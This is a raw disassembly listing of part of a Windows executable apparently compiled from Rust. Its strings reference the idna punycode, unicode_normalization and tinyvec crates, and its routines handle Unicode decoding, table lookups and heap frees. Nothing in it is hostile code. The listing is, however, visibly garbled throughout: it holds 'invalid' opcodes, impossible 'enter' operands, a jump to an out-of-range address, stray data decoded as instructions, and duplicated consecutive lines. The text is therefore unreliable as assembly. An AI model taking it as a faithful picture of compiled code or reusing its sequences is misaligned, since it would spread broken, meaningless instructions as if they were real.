mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, r14
mov r10, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x28]
mov rax, r13
shl rax, 4
mov qword [r15 + rax], rdi
mov qword [r15 + rax + 8], rsi
inc r13
mov rax, r13
cmp r13, 2
mov qword [rsp + 0xa0], r15
jae 0x14003f396
jmp 0x14003f0fd
mov rbp, qword [rsp + 0x48]
mov rdx, rbp
mov r15, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xa8]
add rdi, r15
add r12, r15
sub r13, rdx
mov rcx, r14
mov r8, r13
call fcn.140106530
mov rax, qword [rsp + 0xb0]
add rax, rsi
mov qword [r12], rax
mov rax, qword [rsp + 0x70]
mov qword [r12 + 8], rax
lea rdx, [rdi + 0x10]
mov rax, qword [rsp + 0x50]
not rax
mov r8, qword [rsp + 0x68]
add r8, rax
shl r8, 4
mov rcx, rdi
call fcn.140106530
mov rax, qword [rsp + 0x60]
cmp rax, 1
mov r10, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x28]
jbe 0x14003f0f7
mov r13, rax
lea r14, [rax - 1]
mov rcx, r14
shl rcx, 4
mov rax, qword [r15 + rcx]
mov rcx, qword [r15 + rcx + 8]
add rcx, rax
cmp rcx, rdx
je 0x14003f410
mov r11, r13
shl r11, 4
mov r8, qword [r11 + r15 - 0x20]
cmp r8, rax
jbe 0x14003f410
cmp r13, 2
je 0x14003f65c
lea rsi, [r13 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [r15 + rcx]
lea r9, [r8 + rax]
cmp rcx, r9
jbe 0x14003f425
cmp r13, 3
jbe 0x14003f671
add r8, rcx
cmp qword [r11 + r15 - 0x40], r8
jbe 0x14003f425
jmp 0x14003f0fd
cmp r13, 2
je 0x14003f42a
lea rsi, [r13 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [r15 + rcx]
cmp rcx, rax
jb 0x14003f42e
lea rsi, [r13 - 2]
cmp r13, rsi
jbe 0x14003f70a
lea r12, [rsi + 1]
cmp r13, r12
jbe 0x14003f6c4
mov qword [rsp + 0x50], rsi
shl rsi, 4
mov rcx, qword [r15 + rsi + 8]
shl r12, 4
mov rax, qword [r15 + r12]
mov rdi, qword [r15 + r12 + 8]
add rdi, rax
mov rbp, rdi
sub rbp, rcx
jb 0x14003f750
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r13
cmp rdi, rdx
ja 0x14003f75f
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xa8], rsi
mov rsi, qword [r15 + rsi]
mov qword [rsp + 0x70], rcx
mov r14, rcx
shl r14, 4
add r14, r10
mov r13, rsi
shl r13, 4
lea r15, [r14 + r13]
shl rdi, 4
mov rbx, rbp
sub rbx, rsi
cmp rbx, rsi
jae 0x14003f560
mov r13, rbx
shl r13, 4
mov rbp, qword [rsp + 0x48]
mov rcx, rbp
mov rdx, r15
mov r8, r13
call fcn.140106530
add r13, rbp
test rsi, rsi
jle 0x14003f5f0
test rbx, rbx
jle 0x14003f5f0
add rdi, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x40]
nop
mov rax, r15
mov rcx, r13
mov rdx, qword [r13 - 0x10]
mov r8, qword [r15 - 0x10]
cmp rdx, r8
mov r15d, 0
sbb r15, r15
cmp rdx, r8
mov r13d, 0
adc r13, 0xffffffffffffffff
shl r15, 4
add r15, rax
shl r13, 4
add r13, rcx
cmp rdx, r8
mov rax, r13
cmovb rax, r15
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
cmp r15, r14
jbe 0x14003f553
add rdi, 0xfffffffffffffff0
cmp r13, rbp
ja 0x14003f500
mov r14, r15
jmp 0x14003f31d
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
mov rdx, r14
mov r8, r13
call fcn.140106530
add r13, rbx
test rsi, rsi
jle 0x14003f5f5
cmp rbp, rsi
mov rbx, qword [rsp + 0x40]
jle 0x14003f318
add rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x48]
mov rdx, rbp
nop word cs:[rax + rax]
mov r8, rdx
mov rcx, qword [r15]
xor edx, edx
xor eax, eax
cmp rcx, qword [r8]
setae dl
setb cl
mov r9, r8
cmovb r9, r15
movups xmm0, xmmword [r9]
movups xmmword [r14], xmm0
add r14, 0x10
shl edx, 4
add rdx, r8
cmp rdx, r13
jae 0x14003f320
mov al, cl
shl eax, 4
add r15, rax
cmp r15, rdi
jb 0x14003f5a0
jmp 0x14003f320
mov r14, r15
jmp 0x14003f5fa
mov rbp, qword [rsp + 0x48]
mov rdx, rbp
mov rbx, qword [rsp + 0x40]
jmp 0x14003f320
mov r8d, 2
cmp rax, 2
je 0x14003f128
mov rdx, qword [rsp + 0x80]
add rdx, rsi
add r9, qword [rsp + 0x78]
nop word [rax + rax]
mov r11, r10
mov r10, qword [r9]
cmp r10, r11
jb 0x14003f667
lea r11, [rdx + r8]
inc r11
inc r8
add r9, 0x10
cmp r11, 2
jne 0x14003f630
mov r8, rax
mov rdx, qword [rsp + 0x28]
jmp 0x14003f128
mov r13d, 2
jmp 0x14003f0fd
mov rdx, qword [rsp + 0x28]
jmp 0x14003f128
mov r13d, 3
jmp 0x14003f0fd
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
call rsi
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbp
call rsi
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x58]
and al, 0x58
and al, 0x58
jmp 0x14003efac
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.1401087d0
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 1
mov qword [rsp + 0xc8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
lea rdx, [0x14014c460]
lea rcx, [rsp + 0xb8]
call fcn.140108560
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 1
mov qword [rsp + 0xc8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
lea rdx, [0x14014c448]
lea rcx, [rsp + 0xb8]
call fcn.140108560
lea r8, [0x14014c478]
mov rdx, rdi
call fcn.140108810
lea r8, [0x14014c478]
lea eax, [0x14014c478]
mov rcx, rdi
call fcn.140108620
lea rcx, str.assertion_failed:_end___start__end___len
or eax, 0x10cd63
lea r8, [0x14014c508]
mov edx, 0x2c
call fcn.140108630
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r8, r13
mov r9, rsi
call fcn.140108ac0
lea r8, [0x14014c520]
mov rcx, rsi
mov rdx, rdi
call fcn.140108810
lea rcx, [0x14014c4c0]
call fcn.140108970
lea r8, [0x14014c430]
mov rcx, rax
call fcn.140108620
lea r8, [0x14014c430]
mov rcx, rsi
mov rdx, rax
call fcn.140108810
lea rcx, [0x14014c490]
call fcn.140108970
lea rcx, [0x14014c4a8]
call fcn.140108970
int3
imul rax, rax, 0x39a
shr rax, 0x20
lea rdx, [0x140153ff4]
movzx eax, word [rdx + rax*2]
add eax, edi
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
lea rcx, [0x140154728]
sbb al, 0x4d
adc dword [rax], eax
sbb al, 0x4d
adc dword [rax], eax
mov ebx, dword [rcx + rax*4]
mov eax, ebx
shr eax, 8
cmp eax, edi
jne 0x14003fa53
test bl, bl
je 0x14003fa53
cmp dword [rsi], 0
je 0x14003fad6
mov rax, qword [rsi + 0x18]
cmp rax, qword [rsi + 8]
jne 0x14003fa3c
lea rcx, [rsi + 8]
call fcn.1400411c0
mov rax, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
mov byte [rcx + rax*8], bl
mov dword [rcx + rax*8 + 4], edi
inc rax
mov qword [rsi + 0x18], rax
jmp 0x14003fbd5
mov rcx, qword [rsi + 0x60]
cmp dword [rsi], 0
je 0x14003faad
mov r8, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov rdx, rax
sub rdx, rcx
jb 0x14003fac7
lea rcx, [r8 + rcx*8]
call fcn.140040780
cmp dword [rsi], 0
je 0x14003fb42
mov rax, qword [rsi + 0x18]
cmp rax, qword [rsi + 8]
jne 0x14003fa95
lea rcx, [rsi + 8]
call fcn.1400411c0
mov rax, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
mov byte [rcx + rax*8], 0
mov dword [rcx + rax*8 + 4], edi
inc rax
mov qword [rsi + 0x18], rax
jmp 0x14003fbc2
movzx eax, word [rsi + 4]
cmp rax, 5
add al, 0x48
cmp eax, 5
jae 0x14003fbdd
add dword [rax], eax
add byte [rbp + rcx*4 + 0x46], cl
or byte [rax - 0x77], cl
ret 0x2948
lea r8, [rsi + 8]
mov rdx, rax
sub rdx, rcx
jae 0x14003fa6c
lea r8, [0x14012d0e8]
lea eax, [0x14012d0e8]
mov rdx, rax
call fcn.1401085a0
movzx eax, word [rsi + 4]
cmp rax, 3
jbe 0x14003fba3
cmp edi, 0x110000
je 0x14003fbd5
lea rdx, [rsi + 4]
lea rcx, [rsp + 0x28]
mov r8d, ebx
mov r9d, edi
call fcn.14010a7b0
cmp dword [rsi], 0
je 0x14003fb23
cmp qword [rsi + 8], 0
je 0x14003fb23
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x48]
mov qword [rsi + 0x20], rax
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
jmp 0x14003fbd5
movzx eax, word [rsi + 4]
cmp rax, 3
jbe 0x14003fbb3
cmp edi, 0x110000
je 0x14003fbc2
lea rdx, [rsi + 4]
lea rcx, [rsp + 0x28]
xor r8d, r8d
mov r9d, edi
call fcn.14010a7b0
cmp dword [rsi], 0
je 0x14003fb87
cmp qword [rsi + 8], 0
or byte [rax], al
je 0x14003fb87
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x48]
mov qword [rsi + 0x20], rax
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
jmp 0x14003fbc2
mov byte [rsi + rax*8 + 8], bl
mov dword [rsi + rax*8 + 0xc], edi
inc eax
mov word [rsi + 4], ax
jmp 0x14003fbd5
mov byte [rsi + rax*8 + 8], 0
mov dword [rsi + rax*8 + 0xc], edi
inc eax
mov word [rsi + 4], ax
cmp dword [rsi], 0
je 0x14003fbcd
mov rax, qword [rsi + 0x18]
jmp 0x14003fbd1
movzx eax, word [rsi + 4]
mov qword [rsi + 0x60], rax
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rsH
mov edx, 4
mov rcx, rax
call fcn.140108620
int3
cmp dword [rsi + 0x60], 0
je 0x14003fd30
test rdx, rdx
je 0x14003fde5
mov rcx, qword [rsi + 0x70]
mov r8, qword [rsi + 0x78]
cmp rdx, 1
jne 0x14004048a
cmp rax, r8
jb 0x1400404c3
mov qword [rsi + 0x78], 0
jmp 0x14003fd6c
test rdx, rdx
je 0x14003fde5
add byte [rax], al
add byte [rax], al
movzx r8d, word [rsi + 0x64]
movzx ecx, r8w
enter 0xffffffffffff8348, 0xfffffffffffffffa
add dword [rdi], ecx
test dword [rbp + 7], ecx
add byte [rax], al
enter 0xffffffffffff8348, 0xfffffffffffffffa
add dword [rdi], ecx
test dword [rbp + 7], ecx
add byte [rax], al
cmp r8w, 4
ja 0x140040575
cmp rax, rcx
jb 0x1400404be
test r8w, r8w
je 0x14003fd6c
mov word [rsi + 0x64], 0
mov qword [rsi], 0
jmp 0x14003fde5
invalid
movzx ebp, r15w
imul r12d, ebp, 0x6f75
shr r12d, 0x18
lea edx, [r12 + 0x1100]
mov rcx, rbx
call fcn.140040f80
imul eax, r12d, 0x24c
sub r15d, eax
sub edi, eax
movzx eax, r15w
imul edx, eax, 0x925
shr edx, 0x10
add edx, 0x1161
mov rcx, rbx
call fcn.140040f80
mov eax, ebp
shr eax, 2
imul eax, eax, 0x4925
shr eax, 0x11
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
add ecx, eax
sub bp, cx
je 0x14003fde5
add ebp, 0x11a7
movzx edx, bp
mov rcx, rbx
call fcn.140040f80
mov r9, qword [rsi + 0x50]
test r9, r9
jne 0x14003ff50
mov rcx, qword [rsi + 0x38]
test rcx, rcx
je 0x14004012a
cmp rcx, qword [rsi + 0x40]
je 0x14004012a
lea rax, [rcx + 1]
mov qword [rsi + 0x38], rax
movzx r8d, byte [rcx]
movzx edx, r8b
test dl, dl
jns 0x14003fe90
mov eax, edx
and eax, 0x1f
lea r9, [rcx + 2]
mov qword [rsi + 0x38], r9
movzx r10d, byte [rcx + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x14003ff73
lea rdx, [rcx + 3]
mov qword [rsi + 0x38], rdx
movzx r9d, byte [rcx + 2]
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
cmp r8b, 0xf0
jb 0x14004006a
invalid
add byte [rax], al
lea rdx, [rcx + 4]
mov qword [rsi + 0x38], rdx
movzx edx, byte [rcx + 3]
and eax, 7
shl eax, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, eax
cmp edx, 0x110000
je 0x14004012a
nop dword [rax + rax]
cmp byte [rsi + 0x58], 0
je 0x14003ff90
cmp edx, 0x80
jb 0x14003fddd
invalid
invalid
invalid
invalid
lea r15d, [rdx - 0xac00]
cmp r15d, 0x2ba4
jb 0x14003fd75
invalid
invalid
invalid
invalid
mov ebx, 0x69fffffe
retf 0x79b9
imul ecx, edx, 0x9e3779b9
imul eax, edx, 0x31415926
xor ecx, eax
imul r8, rcx, 0xee4
shr r8, 0x20
lea r9, [0x140160030]
movzx r8d, word [r9 + r8*2]
add r8d, edx
imul r8d, r8d, 0x9e3779b9
xor r8d, eax
imul r8, r8, 0xee4
shr r8, 0x20
lea r9, [0x140161df8]
mov r15, qword [r9 + r8*8]
cmp edx, r15d
jne 0x140040082
mov rax, r15
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0x1668
jae 0x140040550
shr r15, 0x30
mov edx, 0x1667
sub rdx, rcx
cmp r15, rdx
ja 0x140040541
lea rax, [0x140169518]
lea r12, [rax + rcx*4]
test r15, r15
jne 0x140040102
jmp 0x14003fde5
mov eax, dword [rbx]
mov rcx, qword [r14]
test eax, eax
je 0x14004019b
mov r8, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
cmp rcx, rdx
jb 0x1400401b5
jmp 0x14004047e
shl eax, 6
or eax, r10d
mov edx, eax
cmp byte [rsi + 0x58], 0
jne 0x14003fe9a
nop word cs:[rax + rax]
cmp edx, 0x80
jb 0x14003fddd
lea r15d, [rdx - 0xac00]
cmp r15d, 0x2ba4
jb 0x14003fd75
imul eax, edx, 0x9e3779b9
imul ecx, edx, 0x31415926
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea r8, [0x1401579d0]
movzx eax, word [r8 + rax*2]
add eax, edx
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea rcx, [0x1401589ec]
mov r15, qword [rcx + rax*8]
cmp edx, r15d
jne 0x14003fddd
mov rax, r15
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0xd4f
jae 0x140040530
shr r15, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp r15, rdx
ja 0x140040521
test r15, r15
je 0x14003fde5
lea rax, [0x14015ca54]
lea r12, [rax + rcx*4]
shl r15d, 2
xor ebp, ebp
nop word cs:[rax + rax]
mov edx, dword [r12 + rbp]
mov rcx, rbx
call fcn.140040f80
add rbp, 4
cmp r15, rbp
jne 0x140040050
jmp 0x14003fde5
shl eax, 0xc
or r9d, eax
mov edx, r9d
cmp byte [rsi + 0x58], 0
jne 0x14003fe9a
jmp 0x14003ff90
imul rcx, rcx, 0x80d
shr rcx, 0x20
lea r8, [0x1401579d0]
movzx ecx, word [r8 + rcx*2]
add ecx, edx
imul ecx, ecx, 0x9e3779b9
xor ecx, eax
imul rax, rcx, 0x80d
imul eax, ecx, 0x80d
imul eax, ecx, 0x80d
shr rax, 0x20
lea rcx, [0x1401589ec]
or eax, 0x118937
or eax, 0x118937
mov r15, qword [rcx + rax*8]
cmp edx, r15d
jne 0x14003fddd
invalid
dec dword [rcx + rcx*4 - 8]
mov rax, r15
shr rax, 0x20
movzx ecx, ax
mov bh, 0xc8
mov bh, 0xc8
cmp rcx, 0xd4f
jae 0x140040530
shr r15, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp r15, rdx
ja 0x140040521
lea rax, [0x14015ca54]
lea r12, [rax + rcx*4]
test r15, r15
je 0x14003fde5
shl r15d, 2
xor ebp, ebp
nop dword [rax + rax]
mov edx, dword [r12 + rbp]
mov rcx, rbx
call fcn.140040f80
add rbp, 4
cmp r15, rbp
jne 0x140040110
jmp 0x14003fde5
cmp dword [rbx], 0
je 0x140040161
mov rdx, qword [rsi + 0x28]
test rdx, rdx
je 0x140040400
mov rcx, qword [rsi + 0x20]
call fcn.140040780
mov eax, dword [rsi + 0x10]
test eax, eax
je 0x140040187
mov r9, qword [rsi + 0x28]
mov qword [rsi + 0x50], r9
mov rcx, qword [r14]
test eax, eax
jne 0x14003ff5d
jmp 0x14004019b
movzx edx, word [rsi + 0x14]
test rdx, rdx
je 0x140040400
cmp dx, 5
jae 0x140040561
mov rcx, r13
call fcn.140040780
mov eax, dword [rsi + 0x10]
test eax, eax
jne 0x14004014c
movzx r9d, word [rsi + 0x14]
mov qword [rsi + 0x50], r9
mov rcx, qword [r14]
test eax, eax
jne 0x14003ff5d
movzx edx, word [rsi + 0x14]
cmp rdx, 5
jae 0x14004050d
mov r8, r13
cmp rcx, rdx
jae 0x14004047e
mov ebp, dword [r8 + rcx*8 + 4]
inc rcx
cmp rcx, r9
jne 0x140040254
test eax, eax
je 0x140040259
mov r8, qword [rsi + 0x28]
sub r8, r9
je 0x140040267
xor ecx, ecx
jmp 0x1400401ff
mov edx, dword [r9 + rax*8 + 4]
movzx eax, byte [r9 + rax*8]
mov byte [r9 + rcx*8], al
mov dword [r9 + rcx*8 + 4], edx
lea rax, [rcx + 1]
mov rcx, rax
cmp r8, rax
je 0x140040277
mov rax, qword [rsi + 0x50]
add rax, rcx
cmp dword [rsi + 0x10], 0
je 0x140040230
mov rdx, qword [rsi + 0x28]
cmp rax, rdx
jae 0x14004045b
mov r9, qword [rsi + 0x20]
cmp rcx, rdx
jb 0x1400401e0
and byte [rax + 0x39], cl
sal dword [rdx - 0x42], 1
jmp 0x14004046a
add byte [rax], al
add byte [rdi], cl
mov bh, 0x56
adc al, 0x48
cmp edx, 5
cli
invalid
movzx edx, word [rsi + 0x14]
cmp rdx, 5
cli
invalid
cli
add eax, 0x2cf830f
add byte [rax], al
jae 0x14004050d
cmp rax, rdx
jae 0x14004045b
mov r9, r13
cmp rcx, rdx
jb 0x1400401e0
jmp 0x14004046a
mov qword [r14], rcx
jmp 0x14004028f
movzx r8d, word [rsi + 0x14]
sub r8, r9
jne 0x1400401db
test eax, eax
je 0x14004027d
cmp qword [rsi + 0x28], r8
jb 0x14004028b
mov qword [rsi + 0x28], r8
jmp 0x14004028b
mov eax, dword [rbx]
test eax, eax
jne 0x14004026b
movzx eax, word [rsi + 0x14]
cmp r8, rax
jae 0x14004028b
mov word [rsi + 0x14], r8w
movups xmmword [r14], xmm6
imul eax, ebp, 0x9e3779b9
imul ecx, ebp, 0x31415926
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
lea rdx, [0x140153ff4]
movzx eax, word [rdx + rax*2]
add eax, ebp
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
mov r12d, dword [rdi + rax*4]
mov eax, r12d
shr eax, 8
cmp eax, ebp
mov eax, 0
cmovne r12d, eax
mov r15d, dword [rsi + 0x80]
cmp r15d, 0x110000
jne 0x140040301
test r12b, r12b
jne 0x140040432
mov dword [rsi + 0x80], ebp
jmp 0x14003fde5
cmp byte [rsi + 0x84], 0
je 0x14004032f
cmp byte [rsi + 0x85], r12b
jae 0x14004034a
mov ecx, r15d
mov edx, ebp
call fcn.1400f54c0
cmp eax, 0x110000
je 0x140040353
mov dword [rsi + 0x80], eax
jmp 0x14003fde5
mov ecx, r15d
mov edx, ebp
call fcn.1400f54c0
cmp eax, 0x110000
jne 0x1400403ac
test r12b, r12b
jne 0x140040353
jmp 0x140040476
test r12b, r12b
je 0x14004043a
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0
je 0x140040385
mov rax, qword [rsi + 0x78]
cmp rax, qword [rsi + 0x68]
jne 0x140040375
mov rcx, qword [rsp + 0x28]
call fcn.14003fc00
mov rax, qword [rsi + 0x78]
mov rcx, qword [rsi + 0x70]
mov dword [rcx + rax*4], ebp
inc rax
mov qword [rsi + 0x78], rax
jmp 0x140040399
movzx eax, word [rsi + 0x64]
cmp rax, 3
ja 0x1400403b7
mov dword [rsi + rax*4 + 0x68], ebp
inc eax
mov word [rsi + 0x64], ax
mov byte [rsi + 0x84], 1
mov byte [rsi + 0x85], r12b
jmp 0x14003fde5
mov dword [rsi + 0x80], eax
jmp 0x14003fde5
lea rdx, [rsi + 0x64]
lea rcx, [rsp + 0x30]
mov r8d, ebp
call fcn.14010a670
cmp dword [rsi + 0x60], 0
je 0x1400403e8
cmp qword [rsi + 0x68], 0
je 0x1400403e8
mov r8, qword [rsi + 0x70]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
mov rax, qword [rsp + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
jmp 0x140040399
mov qword [rsi], 2
mov qword [rsi + 8], 0
mov r15d, dword [rsi + 0x80]
mov edx, 2
mov eax, 0
cmp r15d, 0x110000
je 0x14003fcf7
jmp 0x1400404ea
mov r15d, ebp
jmp 0x1400404f4
mov dword [rsi + 0x80], ebp
mov byte [rsi + 0x84], 0
mov qword [rsi], 1
mov qword [rsi + 8], 0
jmp 0x1400404f4
lea r8, [0x14012d118]
mov rcx, rax
call fcn.1401085b0
lea r8, [0x14012d130]
call fcn.1401085b0
mov dword [rsi + 0x80], ebp
jmp 0x1400404f4
lea r8, [0x14012d100]
call fcn.1401085b0
cmp rax, r8
jb 0x1400404ae
mov qword [rsi + 0x78], 0
jmp 0x1400404e3
cmp r8w, 5
jae 0x140040575
cmp rax, rcx
mov rcx, qword [rsp + 0x28]
jae 0x1400404d7
mov r15d, dword [rcx + rax*4]
inc rax
mov qword [rsi], 2
jmp 0x1400404d1
mov rcx, qword [rsp + 0x28]
mov r15d, dword [rcx + rax*4]
inc rax
mov qword [rsi], 1
mov qword [rsi + 8], rax
jmp 0x1400404f4
test r8w, r8w
je 0x1400404e3
mov word [rsi + 0x64], 0
mov r15d, dword [rsi + 0x80]
mov dword [rsi + 0x80], 0x110000
mov eax, r15d
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rsH
mov rcx, rdx
mov edx, 4
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, r15
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0xd4e
call fcn.1401085a0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, r15
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0x1667
call fcn.1401085a0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rsH
mov rcx, rdx
mov edx, 4
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rsH
mov edx, 4
call fcn.140108620
int3
mov esi, ecx
mov rdi, r8
mov rbx, rdx
mov r14, rcx
movzx ecx, byte [rcx]
movzx eax, cl
test al, al
jns 0x140040618
pop rbp
pop rbp
mov edx, eax
and edx, 0x1f
movzx r9d, byte [r14 + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x140040605
movzx r8d, byte [r14 + 2]
shl r9d, 6
loope 0x1400405dc
loope 0x1400405dc
and r8d, 0x3f
or r8d, r9d
or eax, ecx
or eax, ecx
enter 0xfffffffffffff980, 0xfffffffffffffff0
cmp cl, 0xf0
jb 0x14004060f
movzx eax, byte [r14 + 3]
and edx, 7
loop 0x1400405f1
add r8d, dword [rbx - 0x1d3ef81e]
adc al, byte [rcx - 0x3f]
shl eax, 6
loop 0x1400405f1
shl edx, 0x12
shl r8d, 6
shl eax, 6
shl eax, 6
and eax, 0x3f
or eax, r8d
or eax, edx
cmp eax, 0x110000
jne 0x140040618
jmp 0x140040686
shl edx, 6
or edx, r9d
mov eax, edx
jmp 0x140040618
invalid
shl edx, 0xc
or r8d, edx
mov eax, r8d
add rbx, r14
mov rdx, rdi
shr rdx, 0x18
test dl, dl
je 0x140040636
mov edx, 1
cmp cl, 0x2d
je case.0x14004075e.1
cmp byte [rbx - 1], 0x2d
je case.0x14004075e.1
imul ecx, eax, 0x9e3779b9
imul edx, eax, 0x31415926
xor ecx, edx
imul rcx, rcx, 0x992
shr rcx, 0x20
lea r8, [0x14016eee8]
movzx ecx, word [r8 + rcx*2]
add ecx, eax
imul ecx, ecx, 0x9e3779b9
xor ecx, edx
imul rcx, rcx, 0x992
pop rcx
xor dword [r9], esi
ror dword [rax + 0x69], 1
leave
xchg edx, eax
or dword [rax], eax
add byte [rax - 0x3f], cl
jmp 0x145915272
shr rcx, 0x20
lea r8, [0x14017020c]
add eax, 0x12fb95
add eax, 0x12fb95
mov edx, 3
cmp dword [r8 + rcx*4], eax
jne 0x140040693
mov byte [rsi + rdx], 1
invalid
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov ebp, edi
std
shr ebp, 8
lea r15, [0x140177aa8]
jmp 0x1400406b6
invalid
adc eax, 0x66666666
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
mov eax, edi
test al, al
jne case.0x14004075e.1
cmp r14, rbx
je 0x140040686
movzx r8d, byte [r14]
movzx ecx, r8b
test cl, cl
js 0x1400406d0
inc r14
inc esi
jmp 0x140040740
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [r14 + 1]
and r9d, 0x3f
add qword [rcx - 0x7d], r8
loope 0x14004071d
cmp cl, 0xdf
jbe 0x14004071f
movzx edx, byte [r14 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x14004072d
movzx ecx, byte [r14 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140040686
add r14, 4
add al, 0xeb
and dword [rcx - 0x7d], ecx
mov byte [rdx], 0xc1
loopne case.0x14003709a.20
jmp 0x140040740
add r14, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x140040740
invalid
adc ecx, dword [rcx - 0x7d]
mov byte [rbx], 0xc1
loopne 0x140040740
add r14, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
nop dword [rax + rax]
call fcn.14003f8e0
movzx eax, byte [rax]
mov edx, 4
cmp rax, 7
invalid
ja case.0x14004075e.1
invalid
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
xor eax, eax
jmp 0x1400406b2
mov eax, ebp
jmp 0x1400406b2
mov r14d, 1
mov r13, qword [rsp + 0x30]
cmp r13, r15
jae 0x140040e0b
mov rax, r15
sub rax, r13
mov rcx, qword [rsp + 0x40]
lea rcx, [rcx + r13*8]
cmp rax, 2
jae 0x140040900
mov r8, rax
mov r12, rdi
lea rdx, [r8 + r13]
mov rdi, rdx
sub rdi, r13
jb 0x140040f07
cmp rdx, r15
ja 0x140040f07
jae 0x140040970
cmp r8, 0xa
jae 0x140040970
lea rdi, [r13 + 0xa]
cmp rdi, r15
cmovae rdi, r15
cmp r13, 0xfffffffffffffff6
jae 0x140040f1f
cmp r8, 1
adc r8, 0
mov qword [rsp + 0x30], rdi
sub rdi, r13
mov rdx, rdi
call fcn.140041270
cmp r14, qword [rsp + 0x48]
je 0x14004097c
jmp 0x1400409d5
movzx edx, byte [rcx + 8]
cmp dl, byte [rcx]
